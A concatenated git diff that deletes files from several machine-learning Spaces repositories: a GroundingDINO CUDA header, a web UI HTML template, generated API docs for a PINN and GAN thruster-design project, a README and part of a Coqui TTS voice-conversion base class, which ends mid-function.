diff --git a/spaces/aodianyun/panoptic-segment-anything/GroundingDINO/groundingdino/models/GroundingDINO/csrc/MsDeformAttn/ms_deform_attn_cuda.h b/spaces/aodianyun/panoptic-segment-anything/GroundingDINO/groundingdino/models/GroundingDINO/csrc/MsDeformAttn/ms_deform_attn_cuda.h
deleted file mode 100644
index ad1311a78f61303616504eb991aaa9c4a93d9948..0000000000000000000000000000000000000000
--- a/spaces/aodianyun/panoptic-segment-anything/GroundingDINO/groundingdino/models/GroundingDINO/csrc/MsDeformAttn/ms_deform_attn_cuda.h
+++ /dev/null
@@ -1,33 +0,0 @@
-/*!
-**************************************************************************************************
-* Deformable DETR
-* Copyright (c) 2020 SenseTime. All Rights Reserved.
-* Licensed under the Apache License, Version 2.0 [see LICENSE for details]
-**************************************************************************************************
-* Modified from https://github.com/chengdazhi/Deformable-Convolution-V2-PyTorch/tree/pytorch_1.0.0
-**************************************************************************************************
-*/
-
-#pragma once
-#include 
-
-namespace groundingdino {
-
-at::Tensor ms_deform_attn_cuda_forward(
-    const at::Tensor &value, 
-    const at::Tensor &spatial_shapes,
-    const at::Tensor &level_start_index,
-    const at::Tensor &sampling_loc,
-    const at::Tensor &attn_weight,
-    const int im2col_step);
-
-std::vector ms_deform_attn_cuda_backward(
-    const at::Tensor &value, 
-    const at::Tensor &spatial_shapes,
-    const at::Tensor &level_start_index,
-    const at::Tensor &sampling_loc,
-    const at::Tensor &attn_weight,
-    const at::Tensor &grad_output,
-    const int im2col_step);
-
-} // namespace groundingdino
\ No newline at end of file
diff --git a/spaces/aodianyun/stable-diffusion-webui/html/extra-networks-no-cards.html b/spaces/aodianyun/stable-diffusion-webui/html/extra-networks-no-cards.html
deleted file mode 100644
index 389358d6c4b383fdc3c5686e029e7b3b1ae9a493..0000000000000000000000000000000000000000
--- a/spaces/aodianyun/stable-diffusion-webui/html/extra-networks-no-cards.html
+++ /dev/null
@@ -1,8 +0,0 @@
-
      
-
      Nothing here. Add some content to the following directories:
      
-
-
        
-{dirs}
-
      
-
      
-
diff --git a/spaces/apsys/hetfit/main.md b/spaces/apsys/hetfit/main.md
deleted file mode 100644
index a6628d6efa64e2e72f62df3bdfc0f7c90bfa4fb6..0000000000000000000000000000000000000000
--- a/spaces/apsys/hetfit/main.md
+++ /dev/null
@@ -1,1060 +0,0 @@
-# Table of Contents
-
-- [Table of Contents](#table-of-contents)
-- [main](#main)
-- [PINN](#pinn)
-- [PINN.pinns](#pinnpinns)
-  - [PINNd\_p Objects](#pinnd_p-objects)
-      - [forward](#forward)
-  - [PINNhd\_ma Objects](#pinnhd_ma-objects)
-  - [PINNT\_ma Objects](#pinnt_ma-objects)
-- [utils](#utils)
-- [utils.test](#utilstest)
-- [utils.dataset\_loader](#utilsdataset_loader)
-      - [get\_dataset](#get_dataset)
-- [utils.ndgan](#utilsndgan)
-  - [DCGAN Objects](#dcgan-objects)
-      - [\_\_init\_\_](#__init__)
-      - [define\_discriminator](#define_discriminator)
-      - [define\_generator](#define_generator)
-      - [build\_models](#build_models)
-      - [generate\_latent\_points](#generate_latent_points)
-      - [generate\_fake\_samples](#generate_fake_samples)
-      - [define\_gan](#define_gan)
-      - [summarize\_performance](#summarize_performance)
-      - [train\_gan](#train_gan)
-      - [start\_training](#start_training)
-      - [predict](#predict)
-- [utils.data\_augmentation](#utilsdata_augmentation)
-  - [dataset Objects](#dataset-objects)
-      - [\_\_init\_\_](#__init__-1)
-      - [generate](#generate)
-- [:orange\[nets\]](#orangenets)
-- [nets.envs](#netsenvs)
-  - [SCI Objects](#sci-objects)
-      - [\_\_init\_\_](#__init__-2)
-      - [feature\_gen](#feature_gen)
-      - [feature\_importance](#feature_importance)
-      - [data\_flow](#data_flow)
-      - [init\_seed](#init_seed)
-      - [train\_epoch](#train_epoch)
-      - [compile](#compile)
-      - [train](#train)
-      - [save](#save)
-      - [onnx\_export](#onnx_export)
-      - [jit\_export](#jit_export)
-      - [inference](#inference)
-      - [plot](#plot)
-      - [plot3d](#plot3d)
-      - [performance](#performance)
-      - [performance\_super](#performance_super)
-  - [RCI Objects](#rci-objects)
-      - [data\_flow](#data_flow-1)
-      - [compile](#compile-1)
-      - [plot](#plot-1)
-      - [performance](#performance-1)
-- [nets.dense](#netsdense)
-  - [Net Objects](#net-objects)
-      - [\_\_init\_\_](#__init__-3)
-- [nets.design](#netsdesign)
-      - [B\_field\_norm](#b_field_norm)
-      - [PUdesign](#pudesign)
-- [nets.deep\_dense](#netsdeep_dense)
-  - [dmodel Objects](#dmodel-objects)
-      - [\_\_init\_\_](#__init__-4)
-- [nets.opti](#netsopti)
-- [nets.opti.blackbox](#netsoptiblackbox)
-  - [Hyper Objects](#hyper-objects)
-      - [\_\_init\_\_](#__init__-5)
-      - [define\_model](#define_model)
-      - [objective](#objective)
-      - [start\_study](#start_study)
-
-
-
-# main
-
-
-
-# PINN
-
-
-
-# PINN.pinns
-
-
-
-## PINNd\_p Objects
-
-```python
-class PINNd_p(nn.Module)
-```
-
-$d \mapsto P$
-
-
-
-#### forward
-
-```python
-def forward(x)
-```
-
-$P,U$ input, $d$ output
-
-**Arguments**:
-
-- `x` __type__ - _description_
-  
-
-**Returns**:
-
-- `_type_` - _description_
-
-
-
-## PINNhd\_ma Objects
-
-```python
-class PINNhd_ma(nn.Module)
-```
-
-$h,d \mapsto m_a $
-
-
-
-## PINNT\_ma Objects
-
-```python
-class PINNT_ma(nn.Module)
-```
-
-$ m_a, U \mapsto T$
-
-
-
-# utils
-
-
-
-# utils.test
-
-
-
-# utils.dataset\_loader
-
-
-
-#### get\_dataset
-
-```python
-def get_dataset(raw: bool = False,
-                sample_size: int = 1000,
-                name: str = 'dataset.pkl',
-                source: str = 'dataset.csv',
-                boundary_conditions: list = None) -> _pickle
-```
-
-Gets augmented dataset
-
-**Arguments**:
-
-- `raw` _bool, optional_ - either to use source data or augmented. Defaults to False.
-- `sample_size` _int, optional_ - sample size. Defaults to 1000.
-- `name` _str, optional_ - name of wanted dataset. Defaults to 'dataset.pkl'.
-- `boundary_conditions` _list,optional_ - y1,y2,x1,x2.
-
-**Returns**:
-
-- `_pickle` - pickle buffer
-
-
-
-# utils.ndgan
-
-
-
-## DCGAN Objects
-
-```python
-class DCGAN()
-```
-
-
-
-#### \_\_init\_\_
-
-```python
-def __init__(latent, data)
-```
-
-The function takes in two arguments, the latent space dimension and the dataframe. It then sets
-
-the latent space dimension, the dataframe, the number of inputs and outputs, and then builds the
-models
-
-**Arguments**:
-
-- `latent`: The number of dimensions in the latent space
-- `data`: This is the dataframe that contains the data that we want to generate
-
-
-
-#### define\_discriminator
-
-```python
-def define_discriminator(inputs=8)
-```
-
-The discriminator is a neural network that takes in a vector of length 8 and outputs a single
-
-value between 0 and 1
-
-**Arguments**:
-
-- `inputs`: number of features in the dataset, defaults to 8 (optional)
-
-**Returns**:
-
-The model is being returned.
-
-
-
-#### define\_generator
-
-```python
-def define_generator(latent_dim, outputs=8)
-```
-
-The function takes in a latent dimension and outputs and returns a model with two hidden layers
-
-and an output layer
-
-**Arguments**:
-
-- `latent_dim`: The dimension of the latent space, or the space that the generator will map
-to
-- `outputs`: the number of outputs of the generator, defaults to 8 (optional)
-
-**Returns**:
-
-The model is being returned.
-
-
-
-#### build\_models
-
-```python
-def build_models()
-```
-
-The function returns the generator and discriminator models
-
-**Returns**:
-
-The generator and discriminator models are being returned.
-
-
-
-#### generate\_latent\_points
-
-```python
-def generate_latent_points(latent_dim, n)
-```
-
-> Generate random points in latent space as input for the generator
-
-**Arguments**:
-
-- `latent_dim`: the dimension of the latent space, which is the input to the generator
-- `n`: number of images to generate
-
-**Returns**:
-
-A numpy array of random numbers.
-
-
-
-#### generate\_fake\_samples
-
-```python
-def generate_fake_samples(generator, latent_dim, n)
-```
-
-It generates a batch of fake samples with class labels
-
-**Arguments**:
-
-- `generator`: The generator model that we will train
-- `latent_dim`: The dimension of the latent space, e.g. 100
-- `n`: The number of samples to generate
-
-**Returns**:
-
-x is the generated images and y is the labels for the generated images.
-
-
-
-#### define\_gan
-
-```python
-def define_gan(generator, discriminator)
-```
-
-The function takes in a generator and a discriminator, sets the discriminator to be untrainable,
-
-and then adds the generator and discriminator to a sequential model. The sequential model is then compiled with an optimizer and a loss function. 
-
-The optimizer is adam, which is a type of gradient descent algorithm. 
-
-Loss function is binary crossentropy, which is a loss function that is used for binary
-classification problems. 
-
-
-The function then returns the GAN.
-
-**Arguments**:
-
-- `generator`: The generator model
-- `discriminator`: The discriminator model that takes in a dataset and outputs a single value
-representing fake/real
-
-**Returns**:
-
-The model is being returned.
-
-
-
-#### summarize\_performance
-
-```python
-def summarize_performance(epoch, generator, discriminator, latent_dim, n=200)
-```
-
-> This function evaluates the discriminator on real and fake data, and plots the real and fake
-
-data
-
-**Arguments**:
-
-- `epoch`: the number of epochs to train for
-- `generator`: the generator model
-- `discriminator`: the discriminator model
-- `latent_dim`: The dimension of the latent space
-- `n`: number of samples to generate, defaults to 200 (optional)
-
-
-
-#### train\_gan
-
-```python
-def train_gan(g_model,
-              d_model,
-              gan_model,
-              latent_dim,
-              num_epochs=2500,
-              num_eval=2500,
-              batch_size=2)
-```
-
-**Arguments**:
-
-- `g_model`: the generator model
-- `d_model`: The discriminator model
-- `gan_model`: The GAN model, which is the generator model combined with the discriminator
-model
-- `latent_dim`: The dimension of the latent space. This is the number of random numbers that
-the generator model will take as input
-- `num_epochs`: The number of epochs to train for, defaults to 2500 (optional)
-- `num_eval`: number of epochs to run before evaluating the model, defaults to 2500
-(optional)
-- `batch_size`: The number of samples to use for each gradient update, defaults to 2
-(optional)
-
-
-
-#### start\_training
-
-```python
-def start_training()
-```
-
-The function takes the generator, discriminator, and gan models, and the latent vector as
-arguments, and then calls the train_gan function.
-
-
-
-#### predict
-
-```python
-def predict(n)
-```
-
-It takes the generator model and the latent space as input and returns a batch of fake samples
-
-**Arguments**:
-
-- `n`: the number of samples to generate
-
-**Returns**:
-
-the generated fake samples.
-
-
-
-# utils.data\_augmentation
-
-
-
-## dataset Objects
-
-```python
-class dataset()
-```
-
-Creates dataset from input source
-
-
-
-#### \_\_init\_\_
-
-```python
-def __init__(number_samples: int,
-             name: str,
-             source: str,
-             boundary_conditions: list = None)
-```
-
-
-**Arguments**:
-
-- `number_samples` _int_ - number of samples to be genarated
-- `name` _str_ - name of dataset
-- `source` _str_ - source file
-- `boundary_conditions` _list_ - y1,y2,x1,x2
-
-
-
-#### generate
-
-```python
-def generate()
-```
-
-The function takes in a dataframe, normalizes it, and then trains a DCGAN on it. 
-
-The DCGAN is a type of generative adversarial network (GAN) that is used to generate new data. 
-
-The DCGAN is trained on the normalized dataframe, and then the DCGAN is used to generate new
-data. 
-
-The new data is then concatenated with the original dataframe, and the new dataframe is saved as
-a pickle file. 
-
-The new dataframe is then returned.
-
-**Returns**:
-
-The dataframe is being returned.
-
-
-
-# :orange[nets]
-
-
-
-# nets.envs
-
-
-
-## SCI Objects
-
-```python
-class SCI()
-```
-
-Scaled computing interface.
-
-**Arguments**:
-
-- `hidden_dim` _int, optional_ - Max demension of hidden linear layer. Defaults to 200. Should be >80 in not 1d case
-- `dropout` _bool, optional_ - LEGACY, don't use. Defaults to True.
-- `epochs` _int, optional_ - Optionally specify epochs here, but better in train. Defaults to 10.
-- `dataset` _str, optional_ - dataset to be selected from ./data. Defaults to 'test.pkl'. If name not exists, code will generate new dataset with upcoming parameters.
-- `sample_size` _int, optional_ - Samples to be generated (note: BEFORE applying boundary conditions). Defaults to 1000.
-- `source` _str, optional_ - Source from which data will be generated. Better to not change. Defaults to 'dataset.csv'.
-- `boundary_conditions` _list, optional_ - If sepcified, whole dataset will be cut rectangulary. Input list is [ymin,ymax,xmin,xmax] type. Defaults to None.
-
-
-
-#### \_\_init\_\_
-
-```python
-def __init__(hidden_dim: int = 200,
-             dropout: bool = True,
-             epochs: int = 10,
-             dataset: str = 'test.pkl',
-             sample_size: int = 1000,
-             source: str = 'dataset.csv',
-             boundary_conditions: list = None,
-             batch_size: int = 20)
-```
-
-
-
-**Arguments**:
-
-- `hidden_dim` _int, optional_ - Max demension of hidden linear layer. Defaults to 200. Should be >80 in not 1d case
-- `dropout` _bool, optional_ - LEGACY, don't use. Defaults to True.
-- `epochs` _int, optional_ - Optionally specify epochs here, but better in train. Defaults to 10.
-- `dataset` _str, optional_ - dataset to be selected from ./data. Defaults to 'test.pkl'. If name not exists, code will generate new dataset with upcoming parameters.
-- `sample_size` _int, optional_ - Samples to be generated (note: BEFORE applying boundary conditions). Defaults to 1000.
-- `source` _str, optional_ - Source from which data will be generated. Better to not change. Defaults to 'dataset.csv'.
-- `boundary_conditions` _list, optional_ - If sepcified, whole dataset will be cut rectangulary. Input list is [ymin,ymax,xmin,xmax] type. Defaults to None.
-- `batch_size` _int, optional_ - Batch size for training.
-
-
-
-#### feature\_gen
-
-```python
-def feature_gen(base: bool = True,
-                fname: str = None,
-                index: int = None,
-                func=None) -> None
-```
-
-Generate new features. If base true, generates most obvious ones. You can customize this by adding
-new feature as name of column - fname, index of parent column, and lambda function which needs to be applied elementwise.
-
-**Arguments**:
-
-- `base` _bool, optional_ - Defaults to True.
-- `fname` _str, optional_ - Name of new column. Defaults to None.
-- `index` _int, optional_ - Index of parent column. Defaults to None.
-- `func` __type_, optional_ - lambda function. Defaults to None.
-
-
-
-#### feature\_importance
-
-```python
-def feature_importance(X: pd.DataFrame, Y: pd.Series, verbose: int = 1)
-```
-
-Gets feature importance by SGD regression and score selection. Default threshold is 1.25*mean
-input X as self.df.iloc[:,(columns of choice)]
-Y as self.df.iloc[:,(column of choice)]
-
-**Arguments**:
-
-- `X` _pd.DataFrame_ - Builtin DataFrame
-- `Y` _pd.Series_ - Builtin Series
-- `verbose` _int, optional_ - either to or to not print actual report. Defaults to 1.
-
-**Returns**:
-
-  Report (str)
-
-
-
-#### data\_flow
-
-```python
-def data_flow(columns_idx: tuple = (1, 3, 3, 5),
-              idx: tuple = None,
-              split_idx: int = 800) -> torch.utils.data.DataLoader
-```
-
-Data prep pipeline
-It is called automatically, don't call it in your code.
-
-**Arguments**:
-
-- `columns_idx` _tuple, optional_ - Columns to be selected (sliced 1:2 3:4) for feature fitting. Defaults to (1,3,3,5).
-- `idx` _tuple, optional_ - 2|3 indexes to be selected for feature fitting. Defaults to None. Use either idx or columns_idx (for F:R->R idx, for F:R->R2 columns_idx)
-  split_idx (int) : Index to split for training
-  
-
-**Returns**:
-
-- `torch.utils.data.DataLoader` - Torch native dataloader
-
-
-
-#### init\_seed
-
-```python
-def init_seed(seed)
-```
-
-Initializes seed for torch - optional
-
-
-
-#### train\_epoch
-
-```python
-def train_epoch(X, model, loss_function, optim)
-```
-
-Inner function of class - don't use.
-
-We iterate through the data, calculate the loss, backpropagate, and update the weights
-
-**Arguments**:
-
-- `X`: the training data
-- `model`: the model we're training
-- `loss_function`: the loss function to use
-- `optim`: the optimizer, which is the algorithm that will update the weights of the model
-
-
-
-#### compile
-
-```python
-def compile(columns: tuple = None,
-            idx: tuple = None,
-            optim: torch.optim = torch.optim.AdamW,
-            loss: nn = nn.L1Loss,
-            model: nn.Module = dmodel,
-            custom: bool = False,
-            lr: float = 0.0001) -> None
-```
-
-Builds model, loss, optimizer. Has defaults
-
-**Arguments**:
-
-- `columns` _tuple, optional_ - Columns to be selected for feature fitting. Defaults to (1,3,3,5).
-- `optim` - torch Optimizer. Default AdamW
-- `loss` - torch Loss function (nn). Defaults to L1Loss
-
-
-
-#### train
-
-```python
-def train(epochs: int = 10) -> None
-```
-
-Train model
-- If sklearn instance uses .fit()
-
-- epochs (int,optional)
-
-
-
-#### save
-
-```python
-def save(name: str = 'model.pt') -> None
-```
-
-> This function saves the model to a file
-
-**Arguments**:
-
-- `name` (`str (optional)`): The name of the file to save the model to, defaults to model.pt
-
-
-
-#### onnx\_export
-
-```python
-def onnx_export(path: str = './models/model.onnx')
-```
-
-> We are exporting the model to the ONNX format, using the input data and the model itself
-
-**Arguments**:
-
-- `path` (`str (optional)`): The path to save the model to, defaults to ./models/model.onnx
-
-
-
-#### jit\_export
-
-```python
-def jit_export(path: str = './models/model.pt')
-```
-
-Exports properly defined model to jit
-
-**Arguments**:
-
-- `path` _str, optional_ - path to models. Defaults to './models/model.pt'.
-
-
-
-#### inference
-
-```python
-def inference(X: tensor, model_name: str = None) -> np.ndarray
-```
-
-Inference of (pre-)trained model
-
-**Arguments**:
-
-- `X` _tensor_ - your data in domain of train
-
-**Returns**:
-
-- `np.ndarray` - predictions
-
-
-
-#### plot
-
-```python
-def plot()
-```
-
-> If the input and output dimensions are the same, plot the input and output as a scatter plot.
-If the input and output dimensions are different, plot the first dimension of the input and
-output as a scatter plot
-
-
-
-#### plot3d
-
-```python
-def plot3d(colX=0, colY=1)
-```
-
-Plot of inputs and predicted data in mesh format
-
-**Returns**:
-
-  plotly plot
-
-
-
-#### performance
-
-```python
-def performance(c=0.4) -> dict
-```
-
-Automatic APE based performance if applicable, else returns nan
-
-**Arguments**:
-
-- `c` _float, optional_ - ZDE mitigation constant. Defaults to 0.4.
-
-**Returns**:
-
-- `dict` - {'Generator_Accuracy, %':np.mean(a),'APE_abs, %':abs_ape,'Model_APE, %': ape}
-
-
-
-#### performance\_super
-
-```python
-def performance_super(c=0.4,
-                      real_data_column_index: tuple = (1, 8),
-                      real_data_samples: int = 23,
-                      generated_length: int = 1000) -> dict
-```
-
-Performance by custom parameters. APE loss
-
-**Arguments**:
-
-- `c` _float, optional_ - ZDE mitigation constant. Defaults to 0.4.
-- `real_data_column_index` _tuple, optional_ - Defaults to (1,8).
-- `real_data_samples` _int, optional_ - Defaults to 23.
-- `generated_length` _int, optional_ - Defaults to 1000.
-
-**Returns**:
-
-- `dict` - {'Generator_Accuracy, %':np.mean(a),'APE_abs, %':abs_ape,'Model_APE, %': ape}
-
-
-
-## RCI Objects
-
-```python
-class RCI(SCI)
-```
-
-Real values interface, uses different types of NN, NO scaling.
-Parent:
-    SCI()
-
-
-
-#### data\_flow
-
-```python
-def data_flow(columns_idx: tuple = (1, 3, 3, 5),
-              idx: tuple = None,
-              split_idx: int = 800) -> torch.utils.data.DataLoader
-```
-
-Data prep pipeline
-
-**Arguments**:
-
-- `columns_idx` _tuple, optional_ - Columns to be selected (sliced 1:2 3:4) for feature fitting. Defaults to (1,3,3,5).
-- `idx` _tuple, optional_ - 2|3 indexes to be selected for feature fitting. Defaults to None. Use either idx or columns_idx (for F:R->R idx, for F:R->R2 columns_idx)
-  split_idx (int) : Index to split for training
-  
-
-**Returns**:
-
-- `torch.utils.data.DataLoader` - Torch native dataloader
-
-
-
-#### compile
-
-```python
-def compile(columns: tuple = None,
-            idx: tuple = (3, 1),
-            optim: torch.optim = torch.optim.AdamW,
-            loss: nn = nn.L1Loss,
-            model: nn.Module = PINNd_p,
-            lr: float = 0.001) -> None
-```
-
-Builds model, loss, optimizer. Has defaults
-
-**Arguments**:
-
-- `columns` _tuple, optional_ - Columns to be selected for feature fitting. Defaults to None.
-- `idx` _tuple, optional_ - indexes to be selected Default (3,1)
-  optim - torch Optimizer
-  loss - torch Loss function (nn)
-
-
-
-#### plot
-
-```python
-def plot()
-```
-
-Plots 2d plot of prediction vs real values
-
-
-
-#### performance
-
-```python
-def performance(c=0.4) -> dict
-```
-
-RCI performnace. APE errors.
-
-**Arguments**:
-
-- `c` _float, optional_ - correction constant to mitigate division by 0 error. Defaults to 0.4.
-
-**Returns**:
-
-- `dict` - {'Generator_Accuracy, %':np.mean(a),'APE_abs, %':abs_ape,'Model_APE, %': ape}
-
-
-
-# nets.dense
-
-
-
-## Net Objects
-
-```python
-class Net(nn.Module)
-```
-
-The Net class inherits from the nn.Module class, which has a number of attributes and methods (such
-as .parameters() and .zero_grad()) which we will be using. You can read more about the nn.Module
-class [here](https://pytorch.org/docs/stable/nn.html#torch.nn.Module)
-
-
-
-#### \_\_init\_\_
-
-```python
-def __init__(input_dim: int = 2, hidden_dim: int = 200)
-```
-
-We create a neural network with two hidden layers, each with **hidden_dim** neurons, and a ReLU activation
-
-function. The output layer has one neuron and no activation function
-
-**Arguments**:
-
-- `input_dim` (`int (optional)`): The dimension of the input, defaults to 2
-- `hidden_dim` (`int (optional)`): The number of neurons in the hidden layer, defaults to 200
-
-
-
-# nets.design
-
-
-
-#### B\_field\_norm
-
-```python
-def B_field_norm(Bmax: float, L: float, k: int = 16, plot=True) -> np.array
-```
-
-Returns vec B_z for MS config
-
-**Arguments**:
-
-- `Bmax` _any_ - maximum B in thruster
-  L - channel length
-  k - magnetic field profile number
-
-
-
-#### PUdesign
-
-```python
-def PUdesign(P: float, U: float) -> pd.DataFrame
-```
-
-Computes design via numerical model, uses fits from PINNs
-
-**Arguments**:
-
-- `P` _float_ - _description_
-- `U` _float_ - _description_
-  
-
-**Returns**:
-
-- `_type_` - _description_
-
-
-
-# nets.deep\_dense
-
-
-
-## dmodel Objects
-
-```python
-class dmodel(nn.Module)
-```
-
-
-
-#### \_\_init\_\_
-
-```python
-def __init__(in_features=1, hidden_features=200, out_features=1)
-```
-
-We're creating a neural network with 4 layers, each with 200 neurons. The first layer takes in the input, the second layer takes in the output of the first layer, the third layer takes in the
-output of the second layer, and the fourth layer takes in the output of the third layer
-
-**Arguments**:
-
-- `in_features`: The number of input features, defaults to 1 (optional)
-- `hidden_features`: the number of neurons in the hidden layers, defaults to 200 (optional)
-- `out_features`: The number of classes for classification (1 for regression), defaults to 1
-(optional)
-
-
-
-# nets.opti
-
-
-
-# nets.opti.blackbox
-
-
-
-## Hyper Objects
-
-```python
-class Hyper(SCI)
-```
-
-Hyper parameter tunning class. Allows to generate best NN architecture for task. Inputs are column indexes. idx[-1] is targeted value.
-Based on OPTUNA algorithms it is very fast and reliable. Outputs are NN parameters in json. Optionally full report for every trial is available at the neptune.ai
-
-
-
-#### \_\_init\_\_
-
-```python
-def __init__(idx: tuple = (1, 3, 7), *args, **kwargs)
-```
-
-The function __init__() is a constructor that initializes the class Hyper
-
-**Arguments**:
-
-- `idx` (`tuple`): tuple of integers, the indices of the data to be loaded
-
-
-
-#### define\_model
-
-```python
-def define_model(trial)
-```
-
-We define a function that takes in a trial object and returns a neural network with the number
-
-of layers, hidden units and activation functions defined by the trial object.
-
-**Arguments**:
-
-- `trial`: This is an object that contains the information about the current trial
-
-**Returns**:
-
-A sequential model with the number of layers, hidden units and activation functions
-defined by the trial.
-
-
-
-#### objective
-
-```python
-def objective(trial)
-```
-
-We define a model, an optimizer, and a loss function. We then train the model for a number of
-
-epochs, and report the loss at the end of each epoch
-
-*"optimizer": ["Adam", "RMSprop", "SGD" 'AdamW','Adamax','Adagrad']*
-*"lr" $\in$ [1e-7,1e-3], log=True*
-
-**Arguments**:
-
-- `trial`: The trial object that is passed to the objective function
-
-**Returns**:
-
-The accuracy of the model.
-
-
-
-#### start\_study
-
-```python
-def start_study(n_trials: int = 100,
-                neptune_project: str = None,
-                neptune_api: str = None)
-```
-
-It takes a number of trials, a neptune project name and a neptune api token as input and runs
-
-the objective function on the number of trials specified. If the neptune project and api token
-are provided, it logs the results to neptune
-
-**Arguments**:
-
-- `n_trials` (`int (optional)`): The number of trials to run, defaults to 100
-- `neptune_project` (`str`): the name of the neptune project you want to log to
-- `neptune_api` (`str`): your neptune api key
-
diff --git a/spaces/armgabrielyan/search-in-video/README.md b/spaces/armgabrielyan/search-in-video/README.md
deleted file mode 100644
index 18a99851fb6e61eaa7b0945a3ad186f9eb6abdcc..0000000000000000000000000000000000000000
--- a/spaces/armgabrielyan/search-in-video/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: Search In Video
-emoji: 🚀
-colorFrom: blue
-colorTo: indigo
-sdk: gradio
-sdk_version: 3.0.3
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces#reference
diff --git a/spaces/artificialguybr/video-dubbing/TTS/TTS/tts/utils/__init__.py b/spaces/artificialguybr/video-dubbing/TTS/TTS/tts/utils/__init__.py
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/spaces/artificialguybr/video-dubbing/TTS/TTS/vc/models/base_vc.py b/spaces/artificialguybr/video-dubbing/TTS/TTS/vc/models/base_vc.py
deleted file mode 100644
index 19f2761bbc42051a2f03d1170c011955dcdd28cb..0000000000000000000000000000000000000000
--- a/spaces/artificialguybr/video-dubbing/TTS/TTS/vc/models/base_vc.py
+++ /dev/null
@@ -1,429 +0,0 @@
-import os
-import random
-from typing import Dict, List, Tuple, Union
-
-import torch
-import torch.distributed as dist
-from coqpit import Coqpit
-from torch import nn
-from torch.utils.data import DataLoader
-from torch.utils.data.sampler import WeightedRandomSampler
-from trainer.torch import DistributedSampler, DistributedSamplerWrapper
-
-from TTS.model import BaseTrainerModel
-from TTS.tts.datasets.dataset import TTSDataset
-from TTS.tts.utils.data import get_length_balancer_weights
-from TTS.tts.utils.languages import LanguageManager, get_language_balancer_weights
-from TTS.tts.utils.speakers import SpeakerManager, get_speaker_balancer_weights
-from TTS.tts.utils.synthesis import synthesis
-from TTS.tts.utils.visual import plot_alignment, plot_spectrogram
-
-# pylint: skip-file
-
-
-class BaseVC(BaseTrainerModel):
-    """Base `vc` class. Every new `vc` model must inherit this.
-
-    It defines common `vc` specific functions on top of `Model` implementation.
-    """
-
-    MODEL_TYPE = "vc"
-
-    def __init__(
-        self,
-        config: Coqpit,
-        ap: "AudioProcessor",
-        speaker_manager: SpeakerManager = None,
-        language_manager: LanguageManager = None,
-    ):
-        super().__init__()
-        self.config = config
-        self.ap = ap
-        self.speaker_manager = speaker_manager
-        self.language_manager = language_manager
-        self._set_model_args(config)
-
-    def _set_model_args(self, config: Coqpit):
-        """Setup model args based on the config type (`ModelConfig` or `ModelArgs`).
-
-        `ModelArgs` has all the fields reuqired to initialize the model architecture.
-
-        `ModelConfig` has all the fields required for training, inference and containes `ModelArgs`.
-
-        If the config is for training with a name like "*Config", then the model args are embeded in the
-        config.model_args
-
-        If the config is for the model with a name like "*Args", then we assign the directly.
-        """
-        # don't use isintance not to import recursively
-        if "Config" in config.__class__.__name__:
-            self.config = config
-            self.args = config.model_args
-        elif "Args" in config.__class__.__name__:
-            self.args = config
-        else:
-            raise ValueError("config must be either a *Config or *Args")
-
-    def init_multispeaker(self, config: Coqpit, data: List = None):
-        """Initialize a speaker embedding layer if needen and define expected embedding channel size for defining
-        `in_channels` size of the connected layers.
-
-        This implementation yields 3 possible outcomes:
-
-        1. If `config.use_speaker_embedding` and `config.use_d_vector_file are False, do nothing.
-        2. If `config.use_d_vector_file` is True, set expected embedding channel size to `config.d_vector_dim` or 512.
-        3. If `config.use_speaker_embedding`, initialize a speaker embedding layer with channel size of
-        `config.d_vector_dim` or 512.
-
-        You can override this function for new models.
-
-        Args:
-            config (Coqpit): Model configuration.
-        """
-        # set number of speakers
-        if self.speaker_manager is not None:
-            self.num_speakers = self.speaker_manager.num_speakers
-        elif hasattr(config, "num_speakers"):
-            self.num_speakers = config.num_speakers
-
-        # set ultimate speaker embedding size
-        if config.use_speaker_embedding or config.use_d_vector_file:
-            self.embedded_speaker_dim = (
-                config.d_vector_dim if "d_vector_dim" in config and config.d_vector_dim is not None else 512
-            )
-        # init speaker embedding layer
-        if config.use_speaker_embedding and not config.use_d_vector_file:
-            print(" > Init speaker_embedding layer.")
-            self.speaker_embedding = nn.Embedding(self.num_speakers, self.embedded_speaker_dim)
-            self.speaker_embedding.weight.data.normal_(0, 0.3)
-
-    def get_aux_input(self, **kwargs) -> Dict:
-        """Prepare and return `aux_input` used by `forward()`"""
-        return {"speaker_id": None, "style_wav": None, "d_vector": None, "language_id": None}
-
-    def get_aux_input_from_test_sentences(self, sentence_info):
-        if hasattr(self.config, "model_args"):
-            config = self.config.model_args
-        else:
-            config = self.config
-
-        # extract speaker and language info
-        text, speaker_name, style_wav, language_name = None, None, None, None
-
-        if isinstance(sentence_info, list):
-            if len(sentence_info) == 1:
-                text = sentence_info[0]
-            elif len(sentence_info) == 2:
-                text, speaker_name = sentence_info
-            elif len(sentence_info) == 3:
-                text, speaker_name, style_wav = sentence_info
-            elif len(sentence_info) == 4:
-                text, speaker_name, style_wav, language_name = sentence_info
-        else:
-            text = sentence_info
-
-        # get speaker  id/d_vector
-        speaker_id, d_vector, language_id = None, None, None
-        if self.speaker_manager is not None:
-            if config.use_d_vector_file:
-                if speaker_name is None:
-                    d_vector = self.speaker_manager.get_random_embedding()
-                else:
-                    d_vector = self.speaker_manager.get_d_vector_by_name(speaker_name)
-            elif config.use_speaker_embedding:
-                if speaker_name is None:
-                    speaker_id = self.speaker_manager.get_random_id()
-                else:
-                    speaker_id = self.speaker_manager.name_to_id[speaker_name]
-
-        # get language id
-        if self.language_manager is not None and config.use_language_embedding and language_name is not None:
-            language_id = self.language_manager.name_to_id[language_name]
-
-        return {
-            "text": text,
-            "speaker_id": speaker_id,
-            "style_wav": style_wav,
-            "d_vector": d_vector,
-            "language_id": language_id,
-        }
-
-    def format_batch(self, batch: Dict) -> Dict:
-        """Generic batch formatting for `VCDataset`.
-
-        You must override this if you use a custom dataset.
-
-        Args:
-            batch (Dict): [description]
-
-        Returns:
-            Dict: [description]
-        """
-        # setup input batch
-        text_input = batch["token_id"]
-        text_lengths = batch["token_id_lengths"]
-        speaker_names = batch["speaker_names"]
-        linear_input = batch["linear"]
-        mel_input = batch["mel"]
-        mel_lengths = batch["mel_lengths"]
-        stop_targets = batch["stop_targets"]
-        item_idx = batch["item_idxs"]
-        d_vectors = batch["d_vectors"]
-        speaker_ids = batch["speaker_ids"]
-        attn_mask = batch["attns"]
-        waveform = batch["waveform"]
-        pitch = batch["pitch"]
-        energy = batch["energy"]
